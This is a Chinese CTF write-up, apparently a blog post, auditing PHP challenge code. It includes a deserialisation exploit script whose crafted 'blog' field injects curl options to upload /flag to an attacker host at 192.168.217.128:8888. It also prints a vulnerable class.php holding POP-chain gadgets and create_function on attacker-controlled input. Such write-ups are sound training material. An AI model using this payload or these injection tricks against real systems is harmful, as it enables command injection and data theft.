前言
还是太弱了,最后看提示才防住了一道题,队友很早的时候就看到了一个原题,直接猛拿巨多分,还好混了个二等奖。
这里没有java题,主要是积累一下代码审计的能力
信息
目录结构是这样的

直接用Seay扫的话能在class.php扫到一个命令执行,但是这个命令执行的cmd明显是不能由我们自己定义的,看起来像一个ssrf。这里可以留一个心眼。
我发现真的是ai用多了脑子会用坏,这里明显可以命令注入,只要加一个分隔符就好

我们首先要了解这个项目是用来干什么的。

首先login.php这里有一个sql的功能点,当初我还在这里上了waf,但是没有鸟用。
仔细看了代码以为可以用万能钥匙绕过,但是本地跑不通。后面说是直接给了账号和密码,这里可能是出题有问题。
所以我们直接走到admin.php和class.php


可以看到进admin.php的时候首先会判断session admin是否为1,然后再反序列化cookie的user值。所以重点就是前面提到的命令注入了。
这里因为escapeshellcmd的存在,不能像普通分号那样直接分割命令
否则会变成这样

我们构造一下payload,这里主要是要清楚curl命令的格式,然后弹出来。比赛期间都是同一局域网,也是可以弹的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
<?php
class user {
public $username;
public $age;
public $introdution;
public $blog;
public $is_admin;
public function __construct() {
$this->username = 'ctfer';
$this->age = 18;
$this->introdution = 'I am a ctfer';
$this->blog = 'www.ctfer.com';
$this->is_admin = false;
}
public function update() {
$this->username = $_GET['username'];
$this->age = $_GET['age'];
$this->introdution = $_GET['introdution'];
$this->blog = $_GET['blog'];
}
public function __destruct() {
if ($this->is_admin) {
echo "This is your blog ,dear admin!</br>";
$cmd = "curl ";
$cmd = $cmd.escapeshellcmd(escapeshellarg("http://".$this->blog));
system($cmd);
}
}
public function __wakeup()
{
// 反序列化后默认无操作
}
}
$user = new user();
$user->is_admin = true;
$user->blog = "127.0.0.1/' -F file=@/flag -x 192.168.217.128:8888 -A a=1 '";
//echo serialize($user);
echo base64_encode(serialize($user));
|

然后上了这道题到娱乐赛里,结果被师兄秒了,师兄打了一个
给我看傻了
服务
项目结构为

index.php是一个纯前端,页面时企业上传文件页面,uploadforms.php也是一个纯前端页面,用于上传文件
用小皮启一下这个网站,简单使用过后发现,上传的文件会被改变文件名,然后又查看文件,删除文件的功能
既然是文件上传,我们先看看upload.php的逻辑

没啥特别的,就是有一个黑名单,ph,ht,user,gz不允许上传,
然后看看view_file.php,也没啥特别的,也防止了file直接读取flag。就是创建了一个file的对象,这里包含了的是class.php,所以这个类应该是在class.php中

然后我们再看到delete_file.php的逻辑,也是创建了file的对象。重点看来就是class.php了

class.php发现是一个类似pop链的东西,这里我们先审计一下file类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
<?php
class bc0n{
public $code;
public $name;
public $about = false;
public function __get($a){
if ($this->about){
create_function("",$this->code);
}
}
public function check() {
$s1 = $this->name;
$s1();
}
}
class rn0g{
public $echofi;
public function __toString() {
$this->echofi->come;
}
}
class qw4e{
private $nonono;
public function __construct($cookie){
$this->nonono = $cookie;
}
public function __destruct() {
if (is_object($this->nonono) && method_exists($this->nonono,'check') )
$this->nonono->check();
}
}
class y3ui{
public $ability;
private $display;
public function check(){
if (preg_match("/va|file|pa|sys|exec|cat/i",$this->ability)){
echo "hack!!!";
}
}
public function __call($a,$b){
$this->display->come();
}
}
class file{
public $fileName;
public function __construct($file){
$this->fileName = $file;
}
public function delfile(){
if (file_exists($this->fileName)) {
if (unlink($this->fileName)) {
echo "文件 $this->fileName 已成功删除。";
} else {
echo "无法删除文件 $this->fileName";
}
} else {
echo "文件 $this->fileName 不存在。";
}
}
public function viewfile(){
if (file_exists($this->fileName)) {
$fileContent = file_get_contents($this->fileName);
// 显示文件内容
$base64Image = base64_encode($fileContent);
$imageType = pathinfo($fileContent, PATHINFO_EXTENSION);
$dataUri = 'data:image/' . $imageType . ';base64,' . $base64Image;
return $dataUri;
} else {
echo "文件不存在。";
}
}
}
|
file类的逻辑很好理解一个展示的view,还有一个删除的del
额,看半天找不到漏洞在哪了,想起来最后是比赛方给出了flag的文件名,然后可以直接通过那个读取读到flag。
问题出现在,为什么fix是这样的,和这个gif到底有啥关系

别人也不知道,行。